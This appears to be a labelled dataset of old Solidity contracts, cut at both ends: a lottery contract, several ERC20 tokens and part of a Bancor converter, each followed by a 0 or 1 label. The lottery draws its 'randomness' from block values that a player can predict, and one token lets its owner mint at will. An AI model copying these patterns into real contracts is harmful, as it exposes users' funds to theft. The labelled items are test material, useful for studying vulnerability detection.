amount"); } _ret=true; _prize=(_betAmount * odds['suit']) / 1 ether; } if(_gType==3 && _bet.contain((_winNo-1)/4+1)){ if(_betAmount * odds['num'] / 1 ether >= address(this).balance/2){ revert("over max bet amount"); } _ret=true; _prize=(_betAmount * odds['num']) / 1 ether; } if(_gType==4 && _bet.contain(_winNo)){ if(_betAmount * odds['nsuit'] / 1 ether >= address(this).balance/2){ revert("over max bet amount"); } _ret=true; _prize=(_betAmount * odds['nsuit']) / 1 ether; } if(_ret){ msg.sender.transfer(_prize); }else{ jpBalance += (msg.value * jpPercent) / 100 ether; } uint tmpJackpot=0; if(_betAmount >= jpMinBetAmount){ uint _jpNo= uint(keccak256(abi.encodePacked(rndSeed,msg.sender,block.coinbase,block.timestamp, block.difficulty,block.gaslimit))) % jpChance; if(_jpNo==77 && jpBalance>jpMinPrize){ msg.sender.transfer(jpBalance); emit JackpotPayment(guid,msg.sender,_betAmount,jpBalance); tmpJackpot=jpBalance; jpBalance=0; }else{ tmpJackpot=0; } rndSeed = keccak256(abi.encodePacked(block.coinbase,msg.sender,block.timestamp, block.difficulty,rndSeed)); } emit Bettings(guid,_gType,msg.sender,_bet,_ret,_winNo,msg.value,_prize,tmpJackpot); guid+=1; } function freeLottery(uint _gid) public isHuman(){ require(!gamePaused,'Game Pause'); require(freeLottoActive && lotto[_gid].active,'Free Lotto is closed'); require(now - lotto[_gid].lastTime[msg.sender] >= lotto[_gid].freezeTimer,'in the freeze time'); uint chancex=1; uint winNo = 0; if(playerCount[msg.sender]>=3){ chancex=2; } if(playerCount[msg.sender]>=6){ chancex=3; } winNo=uint(keccak256(abi.encodePacked(msg.sender,block.number,block.timestamp, rndSeed,block.difficulty,block.gaslimit))) % (playerCount[msg.sender]>=3?lotto[_gid].prob/chancex:lotto[_gid].prob)+1; bool result; if(winNo==7){ result=true; msg.sender.transfer(lotto[_gid].prize); }else{ result=false; if(playerCount[msg.sender]==0 || lotto[_gid].lastTime[msg.sender] <= now -lotto[_gid].freezeTimer - 15*minute){ playerCount[msg.sender]+=1; }else{ playerCount[msg.sender]=0; } } emit FreeLottery(luid,msg.sender,winNo,result?lotto[_gid].prize:0); rndSeed = keccak256(abi.encodePacked( block.difficulty,block.coinbase,msg.sender,block.timestamp,rndSeed)); luid=luid+1; lotto[_gid].lastTime[msg.sender]=now; } function freeLottoInfo() public view isHuman() returns(uint,uint,uint){ uint chance=1; if(playerCount[msg.sender]>=3){ chance=2; } if(playerCount[msg.sender]>=6){ chance=3; } return (lotto[1].lastTime[msg.sender],lotto[2].lastTime[msg.sender],chance); } function updateRndSeed(address _rndAddr) isHuman() public { require(msg.sender==owner || msg.sender==opAddress,"DENIED"); RandomOnce rnd=RandomOnce(_rndAddr); bytes32 _rndSeed=rnd.getRandom(); rnd.destruct(); rndSeed = keccak256(abi.encodePacked(msg.sender,block.number,_rndSeed,block.timestamp,block.coinbase,rndSeed, block.difficulty,block.gaslimit)); } function updateOdds(string _game,uint _val) public isHuman(){ require(msg.sender==owner || msg.sender==opAddress); odds[_game]=_val; } function updateStatus(uint _p,bool _status) public isHuman(){ require(msg.sender==owner || msg.sender==opAddress); if(_p==1){gamePaused=_status;} if(_p==2){freeLottoActive=_status;} if(_p==3){lotto[1].active =_status;} if(_p==4){lotto[2].active =_status;} } function getOdds() public view returns(uint[]) { uint[] memory ret=new uint[](4); ret[0]=odds['bs']; ret[1]=odds['suit']; ret[2]=odds['num']; ret[3]=odds['nsuit']; return ret; } function updateLottoParams(uint _gid,uint _key,uint _val) public isHuman(){ require(msg.sender==owner || msg.sender==opAddress); if(_key==1){lotto[_gid].active=(_val==1);} if(_key==2){lotto[_gid].prob=_val;} if(_key==3){lotto[_gid].prize=_val;} if(_key==4){lotto[_gid].freezeTimer=_val;} } function getLottoData(uint8 _gid) public view returns(bool,uint,uint,uint,uint){ return (lotto[_gid].active,lotto[_gid].prob,lotto[_gid].prize,lotto[_gid].freezeTimer,lotto[_gid].count); } function setAddr(uint _acc,address _addr) public onlyOwner isHuman(){ if(_acc==1){wallet1=_addr;} if(_acc==2){wallet2=_addr;} if(_acc==3){opAddress=_addr;} } function getAddr(uint _acc) public view onlyOwner returns(address){ if(_acc==1){return wallet1;} if(_acc==2){return wallet2;} if(_acc==3){return opAddress;} } function withdraw(address _to,uint amount) public onlyOwner isHuman() returns(bool){ require(address(this).balance - amount > 0); _to.transfer(amount); } function distribute(uint _p) public onlyOwner isHuman(){ uint prft1=_p* 85 / 100; uint prft2=_p* 10 / 100; uint prft3=_p* 5 / 100; owner.transfer(prft1); wallet1.transfer(prft2); wallet2.transfer(prft3); } function() payable isHuman() public { } } contract RandomOnce{ constructor() public{} function getRandom() public view returns(bytes32){} function destruct() public{} } library inArrayExt{ function contain(address[] _arr,address _val) internal pure returns(bool){ for(uint _i=0;_i< _arr.length;_i++){ if(_arr[_i]==_val){ return true; break; } } return false; } } library intArrayExt{ function contain(uint[] _arr,uint _val) internal pure returns(bool){ for(uint _i=0;_i< _arr.length;_i++){ if(_arr[_i]==_val){ return true; break; } } return false; } }
0
pragma solidity ^0.4.23; library SafeMath { function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } } contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; function totalSupply() public view returns (uint256) { return totalSupply_; } function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval( address _spender, uint _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval( address _spender, uint _subtractedValue ) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract Eurufly is StandardToken, Ownable{ string public constant name = "Eurufly"; string public constant symbol = "EUR"; uint8 public constant decimals = 18; uint256 public priceOfToken = 2500; uint256 public icoStartAt ; uint256 public icoEndAt ; uint256 public preIcoStartAt ; uint256 public preIcoEndAt ; uint256 public prePreIcoStartAt; uint256 public prePreIcoEndAt; STATE public state = STATE.UNKNOWN; address wallet ; uint256 public weiRaised; address public owner ; enum STATE{UNKNOWN, PREPREICO, PREICO, POSTICO} event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount); function transfer(address _to, uint _value) public returns (bool success) { return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint _value) public returns (bool success) { return super.transferFrom(_from, _to, _value); } function startPrePreIco(uint256 x) public onlyOwner{ require(state == STATE.UNKNOWN); prePreIcoStartAt = block.timestamp ; prePreIcoEndAt = block.timestamp + x * 1 days ; state = STATE.PREPREICO; } function startPreIco(uint256 x) public onlyOwner{ require(state == STATE.PREPREICO); preIcoStartAt = block.timestamp ; preIcoEndAt = block.timestamp + x * 1 days ; state = STATE.PREICO; } function startPostIco(uint256 x) public onlyOwner{ require(state == STATE.PREICO); icoStartAt = block.timestamp ; icoEndAt = block.timestamp + x * 1 days; state = STATE.POSTICO; } function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) { return _weiAmount.mul(priceOfToken); } function _forwardFunds() internal { wallet.transfer(msg.value); } function () external payable { require(totalSupply_<= 10 ** 26); require(state != STATE.UNKNOWN); buyTokens(msg.sender); } function buyTokens(address _beneficiary) public payable { require(_beneficiary != address(0x0)); if(state == STATE.PREPREICO){ require(now >= prePreIcoStartAt && now <= prePreIcoEndAt); require(msg.value <= 10 ether); }else if(state == STATE.PREICO){ require(now >= preIcoStartAt && now <= preIcoEndAt); require(msg.value <= 15 ether); }else if(state == STATE.POSTICO){ require(now >= icoStartAt && now <= icoEndAt); require(msg.value <= 20 ether); } uint256 weiAmount = msg.value; uint256 tokens = _getTokenAmount(weiAmount); if(state == STATE.PREPREICO){ tokens = tokens.add(tokens.mul(30).div(100)); }else if(state == STATE.PREICO){ tokens = tokens.add(tokens.mul(25).div(100)); }else if(state == STATE.POSTICO){ tokens = tokens.add(tokens.mul(20).div(100)); } totalSupply_ = totalSupply_.add(tokens); balances[msg.sender] = balances[msg.sender].add(tokens); emit Transfer(address(0), msg.sender, tokens); weiRaised = weiRaised.add(weiAmount); emit TokenPurchase(msg.sender, _beneficiary, weiAmount, tokens); _forwardFunds(); } constructor(address ethWallet) public{ wallet = ethWallet; owner = msg.sender; } function emergencyERC20Drain(ERC20 token, uint amount) public onlyOwner { token.transfer( owner, amount ); } function allocate(address user, uint256 amount) public onlyOwner{ require(totalSupply_.add(amount) <= 10 ** 26 ); uint256 tokens = amount * (10 ** 18); totalSupply_ = totalSupply_.add(tokens); balances[user] = balances[user].add(tokens); emit Transfer(address(0), user , tokens); } }
1
pragma solidity ^0.4.18; contract ERC20Standard { function totalSupply() public constant returns (uint256 _totalSupply); function balanceOf(address _owner) public constant returns (uint256 balance); function transfer(address _to, uint256 _value) public returns (bool success); function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); function approve(address _spender, uint256 _value) public returns (bool success); function allowance(address _owner, address _spender) public constant returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract KKToken is ERC20Standard { string public constant symbol = "KK"; string public constant name = "KKCOIN"; uint256 public constant decimals = 8; uint256 public _totalSupply = 10 ** 18; address public owner; mapping(address => uint256) private balances; mapping(address => mapping (address => uint256)) private allowed; function KKToken() public { owner = msg.sender; balances[owner] = _totalSupply; Transfer(0x0, owner, _totalSupply); } function totalSupply() public constant returns (uint256) { return _totalSupply; } function balanceOf(address _addr) public constant returns (uint256) { return balances[_addr]; } function transfer(address _to, uint256 _amount) public returns (bool) { if ( (balances[msg.sender] >= _amount) && (_amount >= 0) && (balances[_to] + _amount > balances[_to]) ) { balances[msg.sender] -= _amount; balances[_to] += _amount; Transfer(msg.sender, _to, _amount); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _amount) public returns (bool success) { if (balances[_from] >= _amount && allowed[_from][msg.sender] >= _amount && _amount > 0 && balances[_to] + _amount > balances[_to]) { balances[_from] -= _amount; allowed[_from][msg.sender] -= _amount; balances[_to] += _amount; Transfer(_from, _to, _amount); return true; } else { return false; } } function approve(address _spender, uint256 _amount) public returns (bool success) { allowed[msg.sender][_spender] = _amount; Approval(msg.sender, _spender, _amount); return true; } function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { return allowed[_owner][_spender]; } }
1
pragma solidity ^0.4.24; interface token { function transfer(address receiver, uint amount) external returns (bool); function balanceOf(address who) external returns (uint256); } interface AddressRegistry { function getAddr(string AddrName) external returns(address); } contract Registry { address public RegistryAddress; modifier onlyAdmin() { require(msg.sender == getAddress("admin")); _; } function getAddress(string AddressName) internal view returns(address) { AddressRegistry aRegistry = AddressRegistry(RegistryAddress); address realAddress = aRegistry.getAddr(AddressName); require(realAddress != address(0)); return realAddress; } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; function totalSupply() public view returns (uint256) { return totalSupply_; } function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } contract BurnableToken is BasicToken { event Burn(address indexed burner, uint256 value); function burn(uint256 _value) public { require(_value <= balances[msg.sender]); address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply_ = totalSupply_.sub(_value); emit Burn(burner, _value); } } contract StandardToken is ERC20, BasicToken, BurnableToken { mapping (address => mapping (address => uint256)) internal allowed; function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract Pausable is Registry { event Pause(); event Unpause(); bool public paused = false; modifier whenNotPaused() { require(!paused); _; } modifier whenPaused() { require(paused); _; } function pause() onlyAdmin whenNotPaused public { paused = true; emit Pause(); } function unpause() onlyAdmin whenPaused public { paused = false; emit Unpause(); } } contract PausableToken is StandardToken, Pausable { function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transferFrom(_from, _to, _value); } function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) { return super.approve(_spender, _value); } function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) { return super.increaseApproval(_spender, _addedValue); } function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) { return super.decreaseApproval(_spender, _subtractedValue); } } contract MoatUnit is PausableToken { constructor(address rAddress) public { RegistryAddress = rAddress; } string public constant name = "MoatUnit"; string public constant symbol = "MTUv2"; uint8 public constant decimals = 0; function MintToken(uint NoOfMTU) onlyAdmin public { totalSupply_ = totalSupply_.add(NoOfMTU); address fundAddress = getAddress("fund"); balances[fundAddress] = balances[fundAddress].add(NoOfMTU); emit Transfer(0, fundAddress, NoOfMTU); } function SendERC20ToAsset(address tokenAddress) onlyAdmin public { token tokenFunctions = token(tokenAddress); uint256 tokenBal = tokenFunctions.balanceOf(address(this)); tokenFunctions.transfer(getAddress("asset"), tokenBal); } }
0
pragma solidity ^0.4.18; contract Utils { function Utils() public { } modifier greaterThanZero(uint256 _amount) { require(_amount > 0); _; } modifier validAddress(address _address) { require(_address != address(0)); _; } modifier notThis(address _address) { require(_address != address(this)); _; } function safeAdd(uint256 _x, uint256 _y) internal pure returns (uint256) { uint256 z = _x + _y; assert(z >= _x); return z; } function safeSub(uint256 _x, uint256 _y) internal pure returns (uint256) { assert(_x >= _y); return _x - _y; } function safeMul(uint256 _x, uint256 _y) internal pure returns (uint256) { uint256 z = _x * _y; assert(_x == 0 || z / _x == _y); return z; } } contract IOwned { function owner() public view returns (address) {} function transferOwnership(address _newOwner) public; function acceptOwnership() public; } contract Owned is IOwned { address public owner; address public newOwner; event OwnerUpdate(address indexed _prevOwner, address indexed _newOwner); function Owned() public { owner = msg.sender; } modifier ownerOnly { assert(msg.sender == owner); _; } function transferOwnership(address _newOwner) public ownerOnly { require(_newOwner != owner); newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); OwnerUpdate(owner, newOwner); owner = newOwner; newOwner = address(0); } } contract Managed { address public manager; address public newManager; event ManagerUpdate(address indexed _prevManager, address indexed _newManager); function Managed() public { manager = msg.sender; } modifier managerOnly { assert(msg.sender == manager); _; } function transferManagement(address _newManager) public managerOnly { require(_newManager != manager); newManager = _newManager; } function acceptManagement() public { require(msg.sender == newManager); ManagerUpdate(manager, newManager); manager = newManager; newManager = address(0); } } contract IERC20Token { function name() public view returns (string) {} function symbol() public view returns (string) {} function decimals() public view returns (uint8) {} function totalSupply() public view returns (uint256) {} function balanceOf(address _owner) public view returns (uint256) { _owner; } function allowance(address _owner, address _spender) public view returns (uint256) { _owner; _spender; } function transfer(address _to, uint256 _value) public returns (bool success); function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); function approve(address _spender, uint256 _value) public returns (bool success); } contract ITokenHolder is IOwned { function withdrawTokens(IERC20Token _token, address _to, uint256 _amount) public; } contract TokenHolder is ITokenHolder, Owned, Utils { function TokenHolder() public { } function withdrawTokens(IERC20Token _token, address _to, uint256 _amount) public ownerOnly validAddress(_token) validAddress(_to) notThis(_to) { assert(_token.transfer(_to, _amount)); } } contract ISmartToken is IOwned, IERC20Token { function disableTransfers(bool _disable) public; function issue(address _to, uint256 _amount) public; function destroy(address _from, uint256 _amount) public; } contract SmartTokenController is TokenHolder { ISmartToken public token; function SmartTokenController(ISmartToken _token) public validAddress(_token) { token = _token; } modifier active() { assert(token.owner() == address(this)); _; } modifier inactive() { assert(token.owner() != address(this)); _; } function transferTokenOwnership(address _newOwner) public ownerOnly { token.transferOwnership(_newOwner); } function acceptTokenOwnership() public ownerOnly { token.acceptOwnership(); } function disableTokenTransfers(bool _disable) public ownerOnly { token.disableTransfers(_disable); } function withdrawFromToken( IERC20Token _token, address _to, uint256 _amount ) public ownerOnly { ITokenHolder(token).withdrawTokens(_token, _to, _amount); } } contract IBancorFormula { function calculatePurchaseReturn(uint256 _supply, uint256 _connectorBalance, uint32 _connectorWeight, uint256 _depositAmount) public view returns (uint256); function calculateSaleReturn(uint256 _supply, uint256 _connectorBalance, uint32 _connectorWeight, uint256 _sellAmount) public view returns (uint256); function calculateCrossConnectorReturn(uint256 _connector1Balance, uint32 _connector1Weight, uint256 _connector2Balance, uint32 _connector2Weight, uint256 _amount) public view returns (uint256); } contract IBancorGasPriceLimit { function gasPrice() public view returns (uint256) {} function validateGasPrice(uint256) public view; } contract IBancorQuickConverter { function convert(IERC20Token[] _path, uint256 _amount, uint256 _minReturn) public payable returns (uint256); function convertFor(IERC20Token[] _path, uint256 _amount, uint256 _minReturn, address _for) public payable returns (uint256); function convertForPrioritized(IERC20Token[] _path, uint256 _amount, uint256 _minReturn, address _for, uint256 _block, uint256 _nonce, uint8 _v, bytes32 _r, bytes32 _s) public payable returns (uint256); } contract IBancorConverterExtensions { function formula() public view returns (IBancorFormula) {} function gasPriceLimit() public view returns (IBancorGasPriceLimit) {} function quickConverter() public view returns (IBancorQuickConverter) {} } contract ITokenConverter { function convertibleTokenCount() public view returns (uint16); function convertibleToken(uint16 _tokenIndex) public view returns (address); function getReturn(IERC20Token _fromToken, IERC20Token _toToken, uint256 _amount) public view returns (uint256); function convert(IERC20Token _fromToken, IERC20Token _toToken, uint256 _amount, uint256 _minReturn) public returns (uint256); function change(IERC20Token _fromToken, IERC20Token _toToken, uint256 _amount, uint256 _minReturn) public returns (uint256); } contract BancorConverter is ITokenConverter, SmartTokenController, Managed { uint32 private constant MAX_WEIGHT = 1000000; uint32 private constant MAX_CONVERSION_FEE = 1000000; struct Connector { uint256 virtualBalance; uint32 weight; bool isVirtualBalanceEnabled; bool isPurchaseEnabled; bool isSet; } string public version = '0.8'; string public converterType = 'bancor'; IBancorConverterExtensions public extensions; IERC20Token[] public connectorTokens; IERC20Token[] public quickBuyPath; mapping (address => Connector) public connectors; uint32 private totalConnectorWeight = 0; uint32 public maxConversionFee = 0; uint32 public conversionFee = 0; bool public conversionsEnabled = true; IERC20Token[] private convertPath; event Conversion(address indexed _fromToken, address indexed _toToken, address indexed _trader, uint256 _amount, uint256 _return, int256 _conversionFee, uint256 _currentPriceN, uint256 _currentPriceD); event ConversionFeeUpdate(uint32 _prevFee, uint32 _newFee); function BancorConverter(ISmartToken _token, IBancorConverterExtensions _extensions, uint32 _maxConversionFee, IERC20Token _connectorToken, uint32 _connectorWeight) public SmartTokenController(_token) validAddress(_extensions) validMaxConversionFee(_maxConversionFee) { extensions = _extensions; maxConversionFee = _maxConversionFee; if (_connectorToken != address(0)) addConnector(_connectorToken, _connectorWeight, false); } modifier validConnector(IERC20Token _address) { require(connectors[_address].isSet); _; } modifier validToken(IERC20Token _address) { require(_address == token || connectors[_address].isSet); _; } modifier validMaxConversionFee(uint32 _conversionFee) { require(_conversionFee >= 0 && _conversionFee <= MAX_CONVERSION_FEE); _; } modifier validConversionFee(uint32 _conversionFee) { require(_conversionFee >= 0 && _conversionFee <= maxConversionFee); _; } modifier validConnectorWeight(uint32 _weight) { require(_weight > 0 && _weight <= MAX_WEIGHT); _; } modifier validConversionPath(IERC20Token[] _path) { require(_path.length > 2 && _path.length <= (1 + 2 * 10) && _path.length % 2 == 1); _; } modifier conversionsAllowed { assert(conversionsEnabled); _; } modifier ownerOrManagerOnly { require(msg.sender == owner || msg.sender == manager); _; } modifier quickConverterOnly { require(msg.sender == address(extensions.quickConverter())); _; } function connectorTokenCount() public view returns (uint16) { return uint16(connectorTokens.length); } function convertibleTokenCount() public view returns (uint16) { return connectorTokenCount() + 1; } function convertibleToken(uint16 _tokenIndex) public view returns (address) { if (_tokenIndex == 0) return token; return connectorTokens[_tokenIndex - 1]; } function setExtensions(IBancorConverterExtensions _extensions) public ownerOnly validAddress(_extensions) notThis(_extensions) { extensions = _extensions; } function setQuickBuyPath(IERC20Token[] _path) public ownerOnly validConversionPath(_path) { quickBuyPath = _path; } function clearQuickBuyPath() public ownerOnly { quickBuyPath.length = 0; } function getQuickBuyPathLength() public view returns (uint256) { return quickBuyPath.length; } function disableConversions(bool _disable) public ownerOrManagerOnly { conversionsEnabled = !_disable; } function setConversionFee(uint32 _conversionFee) public ownerOrManagerOnly validConversionFee(_conversionFee) { ConversionFeeUpdate(conversionFee, _conversionFee); conversionFee = _conversionFee; } function getConversionFeeAmount(uint256 _amount) public view returns (uint256) { return safeMul(_amount, conversionFee) / MAX_CONVERSION_FEE; } function addConnector(IERC20Token _token, uint32 _weight, bool _enableVirtualBalance) public ownerOnly inactive validAddress(_token) notThis(_token) validConnectorWeight(_weight) { require(_token != token && !connectors[_token].isSet && totalConnectorWeight + _weight <= MAX_WEIGHT); connectors[_token].virtualBalance = 0; connectors[_token].weight = _weight; connectors[_token].isVirtualBalanceEnabled = _enableVirtualBalance; connectors[_token].isPurchaseEnabled = true; connectors[_token].isSet = true; connectorTokens.push(_token); totalConnectorWeight += _weight; } function updateConnector(IERC20Token _connectorToken, uint32 _weight, bool _enableVirtualBalance, uint256 _virtualBalance) public ownerOnly validConnector(_connectorToken) validConnectorWeight(_weight) { Connector storage connector = connectors[_connectorToken]; require(totalConnectorWeight - connector.weight + _weight <= MAX_WEIGHT); totalConnectorWeight = totalConnectorWeight - connector.weight + _weight; connector.weight = _weight; connector.isVirtualBalanceEnabled = _enableVirtualBalance; connector.virtualBalance = _virtualBalance; } function disableConnectorPurchases(IERC20Token _connectorToken, bool _disable) public ownerOnly validConnector(_connectorToken) { connectors[_connectorToken].isPurchaseEnabled = !_disable; } function getConnectorBalance(IERC20Token _connectorToken) public view validConnector(_connectorToken) returns (uint256) { Connector storage connector = connectors[_connectorToken]; return connector.isVirtualBalanceEnabled ? connector.virtualBalance : _connectorToken.balanceOf(this); } function getReturn(IERC20Token _fromToken, IERC20Token _toToken, uint256 _amount) public view returns (uint256) { require(_fromToken != _toToken); if (_toToken == token) return getPurchaseReturn(_fromToken, _amount); else if (_fromToken == token) return getSaleReturn(_toToken, _amount); uint256 purchaseReturnAmount = getPurchaseReturn(_fromToken, _amount); return getSaleReturn(_toToken, purchaseReturnAmount, safeAdd(token.totalSupply(), purchaseReturnAmount)); } function getPurchaseReturn(IERC20Token _connectorToken, uint256 _depositAmount) public view active validConnector(_connectorToken) returns (uint256) { Connector storage connector = connectors[_connectorToken]; require(connector.isPurchaseEnabled); uint256 tokenSupply = token.totalSupply(); uint256 connectorBalance = getConnectorBalance(_connectorToken); uint256 amount = extensions.formula().calculatePurchaseReturn(tokenSupply, connectorBalance, connector.weight, _depositAmount); uint256 feeAmount = getConversionFeeAmount(amount); return safeSub(amount, feeAmount); } function getSaleReturn(IERC20Token _connectorToken, uint256 _sellAmount) public view returns (uint256) { return getSaleReturn(_connectorToken, _sellAmount, token.totalSupply()); } function convertInternal(IERC20Token _fromToken, IERC20Token _toToken, uint256 _amount, uint256 _minReturn) public quickConverterOnly returns (uint256) { require(_fromToken != _toToken); if (_toToken == token) return buy(_fromToken, _amount, _minReturn); else if (_fromToken == token) return sell(_toToken, _amount, _minReturn); uint256 purchaseAmount = buy(_fromToken, _amount, 1); return sell(_toToken, purchaseAmount, _minReturn); } function convert(IERC20Token _fromToken, IERC20Token _toToken, uint256 _amount, uint256 _minReturn) public returns (uint256) { convertPath = [_fromToken, token, _toToken]; return quickConvert(convertPath, _amount, _minReturn); } function buy(IERC20Token _connectorToken, uint256 _depositAmount, uint256 _minReturn) internal conversionsAllowed greaterThanZero(_minReturn) returns (uint256) { uint256 amount = getPurchaseReturn(_connectorToken, _depositAmount); require(amount != 0 && amount >= _minReturn); Connector storage connector = connectors[_connectorToken]; if (connector.isVirtualBalanceEnabled) connector.virtualBalance = safeAdd(connector.virtualBalance, _depositAmount); assert(_connectorToken.transferFrom(msg.sender, this, _depositAmount)); token.issue(msg.sender, amount); dispatchConversionEvent(_connectorToken, _depositAmount, amount, true); return amount; } function sell(IERC20Token _connectorToken, uint256 _sellAmount, uint256 _minReturn) internal conversionsAllowed greaterThanZero(_minReturn) returns (uint256) { require(_sellAmount <= token.balanceOf(msg.sender)); uint256 amount = getSaleReturn(_connectorToken, _sellAmount); require(amount != 0 && amount >= _minReturn); uint256 tokenSupply = token.totalSupply(); uint256 connectorBalance = getConnectorBalance(_connectorToken); assert(amount < connectorBalance || (amount == connectorBalance && _sellAmount == tokenSupply)); Connector storage connector = connectors[_connectorToken]; if (connector.isVirtualBalanceEnabled) connector.virtualBalance = safeSub(connector.virtualBalance, amount); token.destroy(msg.sender, _sellAmount); assert(_connectorToken.transfer(msg.sender, amount)); dispatchConversionEvent(_connectorToken, _sellAmount, amount, false); return amount; } function quickConvert(IERC20Token[] _path, uint256 _amount, uint256 _minReturn) public payable validConversionPath(_path) returns (uint256) { return quickConvertPrioritized(_path, _amount, _minReturn, 0x0, 0x0, 0x0, 0x0, 0x0); } function quickConvertPrioritized(IERC20Token[] _path, uint256 _amount, uint256 _minReturn, uint256 _block, uint256 _nonce, uint8 _v, bytes32 _r, bytes32 _s) public payable validConversionPath(_path) returns (uint256) { IERC20Token fromToken = _path[0]; IBancorQuickConverter quickConverter = extensions.quickConverter(); if (msg.value == 0) { if (fromToken == token) { token.destroy(msg.sender, _amount); token.issue(quickConverter, _amount); } else { assert(fromToken.transferFrom(msg.sender, quickConverter, _amount)); } } return quickConverter.convertForPrioritized.value(msg.value)(_path, _amount, _minReturn, msg.sender, _block, _nonce, _v, _r, _s); } function change(IERC20Token _fromToken, IERC20Token _toToken, uint256 _amount, uint256 _minReturn) public returns (uint256) { return convertInternal(_fromToken, _toToken, _amount, _minReturn); } function getSaleReturn(IERC20Token _connectorToken, uint256 _sellAmount, uint256 _totalSupply) private view active validConnector(_connectorToken) 